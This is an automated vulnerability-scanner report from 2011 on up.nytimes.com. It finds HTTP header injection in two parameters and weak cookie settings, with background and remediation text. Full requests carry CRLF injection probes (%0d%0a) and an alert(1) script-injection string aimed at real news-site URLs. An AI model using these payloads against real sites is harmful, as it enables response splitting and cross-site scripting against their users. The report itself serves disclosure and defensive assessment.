up.nytimes.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSS in up.nytimes.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 07:24:24 CST 2011.

DORK CWE-79 XSS Report

1. HTTP header injection

1.1. http://up.nytimes.com/ [d parameter]

1.2. http://up.nytimes.com/ [t parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

1. HTTP header injection next
There are 2 instances of this issue:

/ [d parameter]
/ [t parameter]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://up.nytimes.com/ [d parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://up.nytimes.com
Path:	/

Issue detail

The value of the d request parameter is copied into the Location response header. The payload d09d9%0d%0a87e1b283e8e was submitted in the d parameter. This caused a response containing an injected HTTP header.

Request

GET /?d=d09d9%0d%0a87e1b283e8e&t=4&u=http%3A//www.heraldtribune.com/apps/pbcs.dll/article%3FAID%3D/20110126/ARTICLE5867b%27-alert%281%29-%27b08b425d4fb/101261038/2050/SPORTS&r=http%3A//burp/show/29 HTTP/1.1
Host: up.nytimes.com
Proxy-Connection: keep-alive
Referer: http://www.heraldtribune.com/article/20110126/ARTICLE5867b'-alert(1)-'b08b425d4fb/101261038/2050/SPORTS
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Thu, 27 Jan 2011 04:16:42 GMT
Server: Apache/1.3.33 (Unix)
Set-Cookie: up=B1R4Ge3T20kA1oMs; domain=.nytimes.com; path=/; expires=Sat, 30-Sep-23 19:23:21 GMT
Set-Cookie: ups=B1R4Ge3T20kA1oMs; domain=.nytimes.com; path=/; expires=Thu, 27-Jan-11 04:46:42 GMT
Set-Cookie: zFN=B1R10B10110B00101; domain=.nytimes.com; path=/; expires=Fri, 04-May-12 03:23:21 GMT
Set-Cookie: zFD=B1R10B10110B00101; domain=.nytimes.com; path=/; expires=Fri, 04-May-12 03:23:21 GMT
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0
Expires: Thu, 27 Jan 2011 04:16:42 GMT
Location: http://up./?rdl=1&d=d09d9
87e1b283e8e&g=&a=&r=http%3a%2f%2fburp%2fshow%2f29&id=&m=&s=&h=B1R4Ge3T20kA1oMs&hs=B1R4Ge3T20kA1oMs&t=4&x=B1R4Ge3T20kA1oMs&f=&gt=&u=http%3a%2f%2fwww%2eheraldtribune%2ecom%2fapps%2fpbcs%2edll%2farticle%3fAID%3d%2f20110126%2fARTICLE5867b%27%2dalert%281%29%2d%27b08b425d4fb%2f101261038%2f2050%2fSPORTS
Content-Type: image/gif
Content-Length: 0

1.2. http://up.nytimes.com/ [t parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://up.nytimes.com
Path:	/

Issue detail

The value of the t request parameter is copied into the Location response header. The payload 5cb81%0d%0a0046d60eaa6 was submitted in the t parameter. This caused a response containing an injected HTTP header.

Request

GET /?d=A&t=5cb81%0d%0a0046d60eaa6&u=http%3A//www.heraldtribune.com/apps/pbcs.dll/article%3FAID%3D/20110126/ARTICLE5867b%27-alert%281%29-%27b08b425d4fb/101261038/2050/SPORTS&r=http%3A//burp/show/29 HTTP/1.1
Host: up.nytimes.com
Proxy-Connection: keep-alive
Referer: http://www.heraldtribune.com/article/20110126/ARTICLE5867b'-alert(1)-'b08b425d4fb/101261038/2050/SPORTS
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Thu, 27 Jan 2011 04:16:42 GMT
Server: Apache/1.3.33 (Unix)
Set-Cookie: up=B1R4Ge3T20kA1oN9; domain=.nytimes.com; path=/; expires=Sat, 30-Sep-23 19:23:21 GMT
Set-Cookie: ups=B1R4Ge3T20kA1oN9; domain=.nytimes.com; path=/; expires=Thu, 27-Jan-11 04:46:42 GMT
Set-Cookie: zFN=B1R10B10110B00101; domain=.nytimes.com; path=/; expires=Fri, 04-May-12 03:23:21 GMT
Set-Cookie: zFD=B1R10B10110B00101; domain=.nytimes.com; path=/; expires=Fri, 04-May-12 03:23:21 GMT
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0
Expires: Thu, 27 Jan 2011 04:16:42 GMT
Location: http://up.heraldtribune.com/?rdl=1&d=A&g=&a=&r=http%3a%2f%2fburp%2fshow%2f29&id=&m=&s=&h=B1R4Ge3T20kA1oN9&hs=B1R4Ge3T20kA1oN9&t=5cb81
0046d60eaa6&x=B1R4Ge3T20kA1oN9&f=&gt=&u=http%3a%2f%2fwww%2eheraldtribune%2ecom%2fapps%2fpbcs%2edll%2farticle%3fAID%3d%2f20110126%2fARTICLE5867b%27%2dalert%281%29%2d%27b08b425d4fb%2f101261038%2f2050%2fSPORTS
Content-Type: image/gif
Content-Length: 0

2. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://up.nytimes.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

up=B1QKIQ3S20kA0WOG; domain=.nytimes.com; path=/; expires=Sat, 30-Sep-23 11:25:05 GMT
ups=B1QKIQ3S20kA0WOG; domain=.nytimes.com; path=/; expires=Wed, 26-Jan-11 20:48:26 GMT
zFN=B1Q10B10110B00101; domain=.nytimes.com; path=/; expires=Thu, 03-May-12 19:25:05 GMT
zFD=B1Q10B10110B00101; domain=.nytimes.com; path=/; expires=Thu, 03-May-12 19:25:05 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /?d=A&t=4&u=http%3A//www.heraldtribune.com/apps/pbcs.dll/article%3FAID%3D/20110126/ARTICLE5867b%27-alert%281%29-%27b08b425d4fb/101261038/2050/SPORTS&r=http%3A//burp/show/29 HTTP/1.1
Host: up.nytimes.com
Proxy-Connection: keep-alive
Referer: http://www.heraldtribune.com/article/20110126/ARTICLE5867b'-alert(1)-'b08b425d4fb/101261038/2050/SPORTS
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Wed, 26 Jan 2011 20:18:26 GMT
Server: Apache/1.3.33 (Unix)
Set-Cookie: up=B1QKIQ3S20kA0WOG; domain=.nytimes.com; path=/; expires=Sat, 30-Sep-23 11:25:05 GMT
Set-Cookie: ups=B1QKIQ3S20kA0WOG; domain=.nytimes.com; path=/; expires=Wed, 26-Jan-11 20:48:26 GMT
Set-Cookie: zFN=B1Q10B10110B00101; domain=.nytimes.com; path=/; expires=Thu, 03-May-12 19:25:05 GMT
Set-Cookie: zFD=B1Q10B10110B00101; domain=.nytimes.com; path=/; expires=Thu, 03-May-12 19:25:05 GMT
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0
Expires: Wed, 26 Jan 2011 20:18:26 GMT
Location: http://up.heraldtribune.com/?rdl=1&d=A&g=&a=&r=http%3a%2f%2fburp%2fshow%2f29&id=&m=&s=&h=B1QKIQ3S20kA0WOG&hs=B1QKIQ3S20kA0WOG&t=4&x=B1QKIQ3S20kA0WOG&f=&gt=&u=http%3a%2f%2fwww%2eheraldtribune%2ecom%2fapps%2fpbcs%2edll%2farticle%3fAID%3d%2f20110126%2fARTICLE5867b%27%2dalert%281%29%2d%27b08b425d4fb%2f101261038%2f2050%2fSPORTS
Content-Type: image/gif
Content-Length: 0

3. Cookie without HttpOnly flag set previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://up.nytimes.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

up=B1QKIQ3S20kA0WOG; domain=.nytimes.com; path=/; expires=Sat, 30-Sep-23 11:25:05 GMT
ups=B1QKIQ3S20kA0WOG; domain=.nytimes.com; path=/; expires=Wed, 26-Jan-11 20:48:26 GMT
zFN=B1Q10B10110B00101; domain=.nytimes.com; path=/; expires=Thu, 03-May-12 19:25:05 GMT
zFD=B1Q10B10110B00101; domain=.nytimes.com; path=/; expires=Thu, 03-May-12 19:25:05 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 07:24:24 CST 2011.